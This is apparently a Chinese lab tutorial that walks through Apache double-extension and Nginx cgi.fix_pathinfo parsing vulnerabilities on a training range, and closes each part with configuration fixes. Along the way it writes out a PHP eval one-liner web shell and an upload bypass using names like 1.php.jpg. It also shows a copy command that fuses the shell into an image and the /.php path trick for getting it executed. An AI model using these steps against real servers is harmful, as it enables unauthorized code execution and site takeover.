Apache和Nginx解析漏洞

先来玩Apache解析漏洞，安界网的靶场。

漏洞原理

Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把test.php.owf.rar解析成php。

其余配置问题导致漏洞

（1）如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
（2）如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg，一样能以 php 方式执行。

漏洞利用

打开靶场
在这里插入图片描述
首先制作一个php一句话木马

<?php @eval($_POST[‘a’]); ?>

在这里插入图片描述
保存为1.php打开浏览器地址为192.168.0.2

在这里插入图片描述
上传一句话后，提示禁止上传php

在这里插入图片描述
修改文件后缀名添加.jpg后缀，重新上传（1.php.jpg）

在这里插入图片描述
上传成功，然后用菜刀连接一句话，成功getshell

修复方案

apache配置文件，禁止.php.这样的文件执行，配置文件里面加入

<Files ~ “.(php.|php3.)”>
    Order Allow,Deny
    Deny from all 
</Files>

用伪静态能解决这个问题，重写类似.php.*这类文件，打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so
把#号去掉，重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

然后我们在来玩Nginx解析漏洞，前几天最新版的phpstduy中nginx1.15.11版本存在解析漏洞，那么我们这里用小皮搭建继续用安界网的源码吧！

漏洞原理

1.由于nginx.conf的如下配置导致nginx把以.php结尾的文件交给fastcgi处理,为此可以构造http://127.0.0.1/1.png/.php (url结尾不一定是.php,任何服务器端不存在的php文件均可,比如a.php),其中1.png是我们上传的包含PHP代码的照片文件。
2.但是fastcgi在处理.php文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径，为此这里交由fastcgi处理的文件就变成了/1.png。
3.最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将.png等文件当做代码解。

漏洞利用

先搞一张图片和一个一句话木马
在这里插入图片描述
然后打开图片和木马在的路径，输入融合命令接下来生成一个无敌的武器。

C:\Users\Administrator\Desktop\新建文件夹>copy 1.png/b +1.php/a 2.png

在这里插入图片描述
上传我们无敌的武器（图片马）

上传成功，然后我们点击查看

http://127.0.0.1/2.png

在图片路径添加/.php
在这里插入图片描述
图片已经以php执行了

修复方案

1、 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.png/1.php这样的目录时,只要1.php不存在就会显示404页面

2、 php-fpm.conf中的security.limit_extensions后面的值设置为.php

3、当出现新版本记得更新、打补丁

总结

今天又是朴素切充实的一天啊！
在这里插入图片描述